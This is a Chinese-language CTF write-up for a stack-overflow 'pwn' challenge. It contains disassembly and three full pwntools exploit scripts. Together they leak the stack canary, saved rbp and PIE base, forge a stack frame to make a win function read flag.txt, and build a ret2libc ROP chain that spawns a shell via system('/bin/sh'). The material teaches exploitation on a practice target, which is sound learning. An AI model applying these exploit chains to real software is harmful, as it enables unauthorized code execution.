几经周折rop

信号与系统实在复习不下去

题目

链接:https://pan.baidu.com/s/1_EXQHF0uumBE2tWhloeiNg
提取码:2thf

某大学冬令营,题目本来是很简单的,但是刚开始出题方靶机环境可能出现了某些问题,导致exp一直可以打通本地,打远程一直打不出flag,也不敢质疑是官方的问题,一直在改自己的exp,不过也引发了自己的一些思考,写出了多种思路,最后官方修复了,写的几个exp也都打通了

初探

运行

image-20230216230353617

查看保护

image-20230216230425068

好家伙保护开满了

ida静态分析

image-20230216230715969

很快发现了两处输入都有漏洞函数点,buf只有8byte容量,却分别读入0x1e和0x5a,还有后门函数win嘿嘿

image-20230216230920491

很明显,后门函数提供给我们伪造栈帧的便利,读取flag.txt文件并打印出来,但是缺少fla,那么思路大致有了,伪造栈帧并进行rop

调试并编写exp

  1. 由于开启了canary保护,我需要先泄露canary,利用canary最low一个byte恒为0,且canary恒在push rbp的上方,buf距离rbp0x12=18,我们我们只需要10byte就可以到canary,再覆盖canary最low一个byte就可以利用printf(“You said: %s\n”, (const char *)&buf);把canary输出出来,paylaod为b’a’*11,泄露canary的同时我们也泄露了保存的rbp,后面伪造栈帧时有用,泄露完之后我们在下一次read要填补上canary,进行下一下循环,getfeedback()
  2. 由于开启pie保护,我们还要泄露pie基址

image-20230216234031392

b’a’*26泄露地址,减去elf处改地址即为pie基址,这里不用担心我们会覆盖canary,canary只有在该函数返回时,才会检测canary,

image-20230216235350781

下面还有一次read函数,这次read我们构造rop链,恢复canary

  1. 在构造前我们先分析下win
win函数汇编
0x0000555555555249 <+0>: endbr64
0x000055555555524d <+4>: push rbp
0x000055555555524e <+5>: mov rbp,rsp
0x0000555555555251 <+8>: sub rsp,0x70
0x0000555555555255 <+12>: mov ecx,esi
0x0000555555555257 <+14>: mov eax,edx
0x0000555555555259 <+16>: mov edx,edi ;很正常的64位程序寄存器传参,前6个参数从左向右rdi rsi rdx rcx r8 r9没办法干预
0x000055555555525b <+18>: mov BYTE PTR [rbp-0x64],dl f;这里开始开始把我们的参数往栈上转移,有可乘之机,
0x000055555555525e <+21>: mov edx,ecx
0x0000555555555260 <+23>: mov BYTE PTR [rbp-0x68],dl l
0x0000555555555263 <+26>: mov BYTE PTR [rbp-0x6c],al a
0x0000555555555266 <+29>: mov rax,QWORD PTR fs:0x28
0x000055555555526f <+38>: mov QWORD PTR [rbp-0x8],rax
0x0000555555555273 <+42>: xor eax,eax
0x0000555555555275 <+44>: mov QWORD PTR [rbp-0x4a],0x0 ;先把这几位置零
0x000055555555527d <+52>: mov WORD PTR [rbp-0x42],0x0
0x0000555555555283 <+58>: movzx eax,BYTE PTR [rbp-0x64];参数转移
0x0000555555555287 <+62>: mov BYTE PTR [rbp-0x4a],al f
0x000055555555528a <+65>: movzx eax,BYTE PTR [rbp-0x68]
0x000055555555528e <+69>: mov BYTE PTR [rbp-0x49],al l
0x0000555555555291 <+72>: movzx eax,BYTE PTR [rbp-0x6c] a;从这里倒推即可
0x0000555555555295 <+76>: mov BYTE PTR [rbp-0x48],al
0x0000555555555298 <+79>: mov BYTE PTR [rbp-0x47],0x67
0x000055555555529c <+83>: mov BYTE PTR [rbp-0x46],0x2e
0x00005555555552a0 <+87>: mov BYTE PTR [rbp-0x45],0x74
0x00005555555552a4 <+91>: mov BYTE PTR [rbp-0x44],0x78
0x00005555555552a8 <+95>: mov BYTE PTR [rbp-0x43],0x74
0x00005555555552ac <+99>: lea rax,[rbp-0x4a]
0x00005555555552b0 <+103>: lea rsi,[rip+0xd51] # 0x555555556008
0x00005555555552b7 <+110>: mov rdi,rax
0x00005555555552ba <+113>: call 0x555555555140 <fopen@plt>
0x00005555555552bf <+118>: mov QWORD PTR [rbp-0x58],rax
0x00005555555552c3 <+122>: cmp QWORD PTR [rbp-0x58],0x0
0x00005555555552c8 <+127>: jne 0x5555555552e0 <win+151>
0x00005555555552ca <+129>: lea rdi,[rip+0xd39] # 0x55555555600a
0x00005555555552d1 <+136>: call 0x5555555550d0 <puts@plt>
0x00005555555552d6 <+141>: mov edi,0x1
0x00005555555552db <+146>: call 0x555555555150 <exit@plt>
0x00005555555552e0 <+151>: mov QWORD PTR [rbp-0x40],0x0
0x00005555555552e8 <+159>: mov QWORD PTR [rbp-0x38],0x0
0x00005555555552f0 <+167>: mov QWORD PTR [rbp-0x30],0x0
0x00005555555552f8 <+175>: mov QWORD PTR [rbp-0x28],0x0
0x0000555555555300 <+183>: mov QWORD PTR [rbp-0x20],0x0
0x0000555555555308 <+191>: mov QWORD PTR [rbp-0x18],0x0
0x0000555555555310 <+199>: mov rdx,QWORD PTR [rbp-0x58]
0x0000555555555314 <+203>: lea rax,[rbp-0x40]
0x0000555555555318 <+207>: mov esi,0x20
0x000055555555531d <+212>: mov rdi,rax
0x0000555555555320 <+215>: call 0x555555555110 <fgets@plt>
0x0000555555555325 <+220>: lea rax,[rbp-0x40]
0x0000555555555329 <+224>: mov rdi,rax
0x000055555555532c <+227>: call 0x5555555550d0 <puts@plt>
0x0000555555555331 <+232>: nop
0x0000555555555332 <+233>: mov rax,QWORD PTR [rbp-0x8]
0x0000555555555336 <+237>: xor rax,QWORD PTR fs:0x28
0x000055555555533f <+246>: je 0x555555555346 <win+253>
0x0000555555555341 <+248>: call 0x5555555550e0 <__stack_chk_fail@plt> ;检测canary
0x0000555555555346 <+253>: leave
0x0000555555555347 <+254>: ret
  1. 我们把断点断到leave ret处 发现rbp指向就是我们ret的下方,如果我们把ret下方覆盖为fla的话,只需要把原来的栈提高0x6c,(0x0000555555555263 <+26>: mov BYTE PTR [rbp-0x6c],al )就可以伪造栈,伪造flag.txt,故payload为 payload=b’a’*10+p64(canary)+p64(rbp_ad+0x6c)+p64(win_ad)+b’a\x00\x00\x00’+b’l\x00\x00\x00’+b’f\x00\x00\x00’

    image-20230217000537025

exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
if args['REMOTE']:
io = remote("","")
else:
io = process('./pwn')
elf = ELF('./pwn')
# gdb.attach(io,"b* $rebase(0x138E)")
io.sendlineafter(b'ete a survey?',b'y')
padding=b'a'*11
io.sendafter(b'like ctf?',padding)
io.recvuntil(b'a'*11)
canary=u64(io.recv(7).rjust(8,b'\x00'))
rbp_ad=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(canary))
print(hex(rbp_ad))
io.sendlineafter(b'extra feedback?',b'a'*10+p64(canary))
io.sendlineafter(b'ete a survey?',b'y')
io.sendafter(b'Do you like ctf?',b'a'*26)
ret_ad=0x1447
io.recvuntil(b'a'*26)
base=u64(io.recv(6).ljust(8,b'\x00'))-ret_ad
print("base:"+hex(base))
win_ad=0x1273+base
payload=b'a'*10+p64(canary)+p64(rbp_ad+0x6c)+p64(win_ad)+b'a\x00\x00\x00'+b'l\x00\x00\x00'+b'f\x00\x00\x00'
io.sendafter(b'extra feedback?',payload)
io.interactive()

再探

官方的问题,前一个exp没打通,奇怪了,难道名字不叫flag.txt?,或许叫flag,又开始分析win汇编,我们可以直接控制栈和rsp,又从下面汇编的<+62>或者<+99>可以看出要打开的文件名字的存储地址为rbp-0x4a处,干嘛不直接覆盖这里,这样我们还可以控制文件名字

0x0000555555555283 <+58>:    movzx  eax,BYTE PTR [rbp-0x64]            ;参数转移
0x0000555555555287 <+62>: mov BYTE PTR [rbp-0x4a],al f
0x000055555555528a <+65>: movzx eax,BYTE PTR [rbp-0x68]
0x000055555555528e <+69>: mov BYTE PTR [rbp-0x49],al l
0x0000555555555291 <+72>: movzx eax,BYTE PTR [rbp-0x6c] a ;从这里倒推即可
0x0000555555555295 <+76>: mov BYTE PTR [rbp-0x48],al
0x0000555555555298 <+79>: mov BYTE PTR [rbp-0x47],0x67
0x000055555555529c <+83>: mov BYTE PTR [rbp-0x46],0x2e
0x00005555555552a0 <+87>: mov BYTE PTR [rbp-0x45],0x74
0x00005555555552a4 <+91>: mov BYTE PTR [rbp-0x44],0x78
0x00005555555552a8 <+95>: mov BYTE PTR [rbp-0x43],0x74
0x00005555555552ac <+99>: lea rax,[rbp-0x4a]
0x00005555555552b0 <+103>: lea rsi,[rip+0xd51] # 0x555555556008
0x00005555555552b7 <+110>: mov rdi,rax
0x00005555555552ba <+113>: call 0x555555555140 <fopen@plt>

exp

把前一个exp的

win_ad=0x1273+base
payload=b'a'*10+p64(canary)+p64(rbp_ad+0x6c)+p64(win_ad)+b'a\x00\x00\x00'+b'l\x00\x00\x00'+b'f\x00\x00\x00'
替换为
win_ad=0x012AC+base
payload=b'a'*10+p64(canary)+p64(rbp_ad+0x4a)+p64(win_ad)+b'flag.txt\x00' #flag.txt文件名字可以改成我们想打开的名字

很生气呀,拿tm的shell

本地也通了,远程还是不行,试了好几个文件名字还不行,内心开始怀疑,也不想就这样放弃,继续分析发现可以直接拿shell

和前面一样先泄露canary rbp 和pie基址,程序有使用puts函数,我们可以利用puts泄露puts地址,由于是64为需要一个pop rdi的gadget给puts传参

image-20230217002642059

payload=b’a’*10+p64(canary)+b’deadbeef’+p64(poprdi)+p64(puts_got)+p64(puts_plt)+p64(getFeedback)

这里再次返回canary是不会变得,即使是再次生成;变了的话也好说,在泄露一次就是了,或者rop返回时跳过生成

泄露后找到libc,就可以常规rop

payload=b’a’*10+p64(canary)+b’deadbeef’+p64(poprdi)+p64(bin_sh)+p64(ret)+p64(system_ad)

这里在ret到system前多个ret是为了ubuntu18版本以上调用64位程序中的system函数的栈对齐问题

64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐,因为64位程序的地址是8字节的,而十六进制又是满16就会进位,因此我们看到的栈地址末尾要么是0要么是8。

只有当地址的末尾是0的时候,才算是与16字节对齐了,如果末尾是8的话,那就是没有对齐。而我们想要在ubuntu18以上的64位程序中执行system函数,必须要在执行system栈顶地址末尾是0。

exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
elf = ELF('./pwn')
if args['REMOTE']:
io = remote("","")
else:
io = process('./pwn')

# gdb.attach(io,"b* $rebase(0x138E)")
io.sendlineafter(b'ete a survey?',b'y')
padding=b'a'*11
io.sendafter(b'like ctf?',padding)
# print(io.recv())
io.recvuntil(b'a'*11)
canary=u64(io.recv(7).rjust(8,b'\x00'))
rbp_ad=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(canary))
print(hex(rbp_ad))
io.sendlineafter(b'extra feedback?',b'a'*10+p64(canary))
io.sendlineafter(b'ete a survey?',b'y')
io.sendafter(b'Do you like ctf?',b'a'*26)
ret_ad=0x1447
io.recvuntil(b'a'*26)
base=u64(io.recv(6).ljust(8,b'\x00'))-ret_ad
print("base:"+hex(base))
# print("base"+hex(base))
poprdi=0x014d3+base
puts_got=elf.got['puts']+base
puts_plt=elf.plt['puts']+base
getFeedback=base+elf.symbols['getFeedback']
print(hex(puts_got))
print(hex(puts_plt))
print(hex(getFeedback))
payload=b'a'*10+p64(canary)+b'deadbeef'+p64(poprdi)+p64(puts_got)+p64(puts_plt)+p64(getFeedback)
io.sendafter(b'extra feedback?',payload)
io.recvuntil('\n')
puts_ad=u64(io.recv()[0:6].ljust(8,b'\x00'))
print("puts_ad"+hex(puts_ad))
libc=LibcSearcher('puts',puts_ad)
base_libc=puts_ad-libc.dump('puts')
# base_libc=puts_ad-0x067970
system_ad=base_libc+libc.dump('system')
# system_ad=base_libc+0x03f650
bin_sh=base_libc+libc.dump('str_bin_sh')
# bin_sh=base_libc+0x163ef7
io.sendline(b'y')
ret=base+0x0101a
print("system"+hex(system_ad))
print("bin"+hex(bin_sh))
print("ret"+hex(ret))
payload=b'a'*10+p64(canary)+b'deadbeef'+p64(poprdi)+p64(bin_sh)+p64(ret)+p64(system_ad)
io.sendlineafter(b"Can you provide some extra feedback?\n",payload)
io.interactive()

拿到shell,发现文件里有flag.txt,拿到flag,还在疑惑前两个为什么不行,又去试了一下前两个exp,这次发现都能打通,我….

总结:有得有失